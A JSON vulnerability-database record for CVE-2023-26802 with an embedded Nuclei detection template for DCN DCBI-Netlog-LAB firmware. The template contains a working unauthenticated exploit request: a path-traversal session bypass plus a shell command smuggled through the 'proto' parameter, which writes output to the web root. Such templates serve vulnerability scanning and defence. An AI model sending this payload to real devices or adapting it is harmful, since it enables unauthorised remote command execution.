{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-26802/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-26802/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-26802/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-26802/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-26802/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-26802"},"sightings":{"href":"/api/v1/sightings/cve-2023-26802"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-26802.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-26802\n\ninfo:\n  name: DCBI-Netlog-LAB v1.0 - Command Injection\n  author: pussycat0x\n  severity: critical\n  description: |\n    An issue in the component /network_config/nsg_masq.cgi of DCN (Digital China Networks) DCBI-Netlog-LAB v1.0 allows attackers to bypass authentication and execute arbitrary commands via a crafted request.\n  impact: |\n    Unauthenticated attackers can bypass authentication and execute arbitrary OS commands on the DCN DCBI-Netlog-LAB device, leading to complete device compromise and potential network infiltration.\n  remediation: |\n    Upgrade to the latest firmware version from DCN that addresses this command injection vulnerability, or apply vendor-provided security patches.\n  reference:\n    - https://web.archive.org/web/20230605051153/https://github.com/winmt/my-vuls/tree/main/DCN%20DCBI-Netlog-LAB\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-26802\n    cwe-id: CWE-22\n    epss-score: 0.4871\n    epss-percentile: 0.98831\n    cpe: cpe:2.3:o:dcnglobal:dcbi-netlog-lab_firmware:1.0:*:*:*:*:*:*:*\n  metadata:\n    vendor: dcnglobal\n    product: dcbi-netlog-lab_firmware\n  tags: cve,cve2023,rce,unauth,netlog,vkev,vuln\n\nvariables:\n  file_name: \"{{rand_text_alpha(4)}}.html\"\n\nhttp:\n  - raw:\n      - |\n        GET /cgi-bin/network_config/nsg_masq.cgi?user_name=admin&session_id=../&lang=zh_CN.UTF-8&act=2&proto=;ls>/usr/local/lyx/lyxcenter/web/{{file_name}}; HTTP/1.1\n        Host: {{Hostname}}\n        DNT: 1\n        X-Forwarded-For: 8.8.8.8\n\n      - |\n        GET /{{file_name}}  HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        DNT: 1\n        X-Forwarded-For: 8.8.8.8\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - \"nsg_bridge.cgi\"\n          - \"nsg_dhcpactiveip.cgi\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100bf63fa11f058097190422ba7579b0433b9a4f66172e0c2a91f2d83c5ae45b2ea022100f772baac55347537ff9ae5853e8d2b851a5285d42a3bee5465a717676d645ba1:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-26802"}